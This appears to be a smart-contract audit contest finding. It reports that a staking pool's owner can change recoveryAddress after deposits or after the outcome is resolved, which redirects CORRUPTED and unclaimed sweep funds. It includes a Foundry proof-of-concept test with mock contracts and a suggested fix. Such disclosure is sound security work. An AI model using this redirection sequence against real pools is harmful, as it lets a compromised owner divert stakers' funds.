FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: medium

Mutable recoveryAddress enables post-deposit and post-resolution redirection of CORRUPTED/unclaimed sweep funds

Author Revealed upon completion

Root + Impact

Description

Normal behavior
Users stake into a pool and expect outcome-dependent fund flows to follow the pool’s established rules. In CORRUPTED and unclaimed-sweep paths, funds are sent to recoveryAddress as the configured sink.

Issue
recoveryAddress remains mutable via setRecoveryAddress() without lifecycle restrictions (e.g., no lock after first stake, no lock after resolution). Therefore, destination for major sweep flows can be changed late, after users have already committed funds and risk.

// Root cause in the codebase with @> marks to highlight the relevant section
// @> Owner can change recovery destination at any time.
function setRecoveryAddress(address newRecoveryAddress) external onlyOwner {
if (newRecoveryAddress == address(0)) revert InvalidRecoveryAddress();
address oldRecoveryAddress = recoveryAddress;
recoveryAddress = newRecoveryAddress;
emit RecoveryAddressUpdated(oldRecoveryAddress, newRecoveryAddress);
}
// @> CORRUPTED full sweep uses mutable recoveryAddress.
function claimCorrupted() external nonReentrant {
...
stakeToken.safeTransfer(recoveryAddress, toSweep);
}
// @> Good-faith expired remainder sweep uses mutable recoveryAddress.
function sweepUnclaimedCorrupted() external nonReentrant {
...
stakeToken.safeTransfer(recoveryAddress, amount);
}
// @> Unclaimed/excess bonus sweep uses mutable recoveryAddress.
function sweepUnclaimedBonus() external nonReentrant {
...
stakeToken.safeTransfer(recoveryAddress, amount);
}

Risk

Likelihood:

  1. Pools remain active for long periods; sponsor key exposure risk accumulates over time.

  2. Outcome resolution and sweep operations occur in later lifecycle stages, when late destination mutation still succeeds.

Impact:

  1. CORRUPTED or unclaimed sweep funds can be redirected away from expected recipient policy.

  2. Staker trust assumptions can be violated post-deposit without requiring any staker action or approval.

Proof of Concept:

// Scenario: late redirection before corrupted sweep
// Preconditions:
// - pool has stake
// - moderator flags CORRUPTED (bad-faith path or post-bounty path)
// - sponsor key is malicious/compromised

// 1) User stakes 100 tokens
pool.stake(100e18);

// 2) Moderator flags CORRUPTED
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, false, address(0));

// 3) Sponsor changes destination late
pool.setRecoveryAddress(attackerControlledAddress);

// 4) Any caller triggers corrupted sweep
pool.claimCorrupted();

// Result:
// Entire pool balance is transferred to attackerControlledAddress.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import "forge-std/Test.sol";
interface IERC20 {
function transfer(address to, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function balanceOf(address a) external view returns (uint256);
function mint(address to, uint256 amount) external;
}
interface IConfidencePool {
enum Outcome {
UNRESOLVED,
SURVIVED,
CORRUPTED,
EXPIRED
}
function initialize(
address agreement_,
address stakeToken_,
address safeHarborRegistry_,
address outcomeModerator_,
uint256 expiry_,
uint256 minStake_,
address recoveryAddress_,
address owner_,
address[] calldata accounts
) external;
function stake(uint256 amount) external;
function contributeBonus(uint256 amount) external;
function flagOutcome(Outcome newOutcome, bool goodFaith_, address attacker_) external;
function claimCorrupted() external;
function setRecoveryAddress(address newRecoveryAddress) external;
function recoveryAddress() external view returns (address);
}
// -------- minimal mocks --------
contract MockToken is IERC20 {
mapping(address => uint256) public bal;
mapping(address => mapping(address => uint256)) public allowance;
function mint(address to, uint256 amount) external { bal[to] += amount; }
function balanceOf(address a) external view returns (uint256) { return bal[a]; }
function approve(address spender, uint256 amount) external returns (bool) {
allowance[msg.sender][spender] = amount; return true;
}
function transfer(address to, uint256 amount) external returns (bool) {
require(bal[msg.sender] >= amount, "bal");
bal[msg.sender] -= amount; bal[to] += amount; return true;
}
function transferFrom(address from, address to, uint256 amount) external returns (bool) {
require(bal[from] >= amount, "bal");
require(allowance[from][msg.sender] >= amount, "allow");
allowance[from][msg.sender] -= amount;
bal[from] -= amount; bal[to] += amount; return true;
}
}
interface IAttackRegistry {
enum ContractState {
NOT_DEPLOYED,
NEW_DEPLOYMENT,
ATTACK_REQUESTED,
UNDER_ATTACK,
PROMOTION_REQUESTED,
PRODUCTION,
CORRUPTED
}
}
contract MockAgreement {
address public ownerAddr;
mapping(address => bool) public inScope;
constructor(address _owner) { ownerAddr = _owner; }
function owner() external view returns (address) { return ownerAddr; }
function isContractInScope(address a) external view returns (bool) { return inScope[a]; }
function setInScope(address a, bool v) external { inScope[a] = v; }
}
contract MockAttackRegistry {
IAttackRegistry.ContractState public st;
function setState(IAttackRegistry.ContractState s) external { st = s; }
function getAgreementState(address) external view returns (IAttackRegistry.ContractState) { return st; }
}
contract MockSafeHarborRegistry {
address public attackRegistry;
mapping(address => bool) public valid;
function setAttackRegistry(address a) external { attackRegistry = a; }
function setAgreementValid(address a, bool v) external { valid[a] = v; }
function getAttackRegistry() external view returns (address) { return attackRegistry; }
function isAgreementValid(address a) external view returns (bool) { return valid[a]; }
}
// Replace with your real ConfidencePool import in-repo:
import {ConfidencePool} from "../src/ConfidencePool.sol";
contract RecoveryAddressRedirectPoC is Test {
ConfidencePool pool;
MockToken token;
MockAgreement agreement;
MockAttackRegistry attackRegistry;
MockSafeHarborRegistry safeHarbor;
address sponsor = address(0xA11CE);
address moderator = address(0xB0B);
address staker = address(0xCAFE);
address oldRecovery = address(0x1111);
address attackerRecovery = address(0xDEAD);
function setUp() external {
vm.warp(1_700_000_000);
token = new MockToken();
agreement = new MockAgreement(sponsor);
attackRegistry = new MockAttackRegistry();
safeHarbor = new MockSafeHarborRegistry();
safeHarbor.setAttackRegistry(address(attackRegistry));
safeHarbor.setAgreementValid(address(agreement), true);
agreement.setInScope(address(0x1234), true);
pool = new ConfidencePool();
address[] memory accounts = new address[](1);
accounts[0] = address(0x1234);
vm.prank(address(this)); // initializer caller
pool.initialize(
address(agreement),
address(token),
address(safeHarbor),
moderator,
block.timestamp + 40 days,
1e18,
oldRecovery,
sponsor,
accounts
);
token.mint(staker, 1_000e18);
vm.prank(staker);
token.approve(address(pool), type(uint256).max);
}
function test_PoC_SponsorRedirectsCorruptedSweep() external {
// 1) staker deposits
vm.prank(staker);
pool.stake(100e18);
// 2) moderator sets CORRUPTED bad-faith (sweep path goes to recoveryAddress)
attackRegistry.setState(IAttackRegistry.ContractState.CORRUPTED);
vm.prank(moderator);
pool.flagOutcome(IConfidencePool.Outcome.CORRUPTED, false, address(0));
// 3) malicious/compromised sponsor changes destination
vm.prank(sponsor);
pool.setRecoveryAddress(attackerRecovery);
assertEq(pool.recoveryAddress(), attackerRecovery, "recovery not redirected");
// 4) any caller triggers sweep; funds go to attackerRecovery
uint256 before = token.balanceOf(attackerRecovery);
pool.claimCorrupted();
uint256 afterBal = token.balanceOf(attackerRecovery);
assertEq(afterBal - before, 100e18, "sweep did not go to redirected address");
}
}

function setRecoveryAddress(address newRecoveryAddress) external onlyOwner {
if (newRecoveryAddress == address(0)) revert InvalidRecoveryAddress();
+ // Freeze destination once economic commitments begin
+ if (totalEligibleStake > 0) revert RecoveryAddressLocked();
+ // Alternatively (or additionally), freeze once outcome is no longer unresolved
+ if (outcome != PoolStates.Outcome.UNRESOLVED) revert RecoveryAddressLocked();
address oldRecoveryAddress = recoveryAddress;
recoveryAddress = newRecoveryAddress;
emit RecoveryAddressUpdated(oldRecoveryAddress, newRecoveryAddress);
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!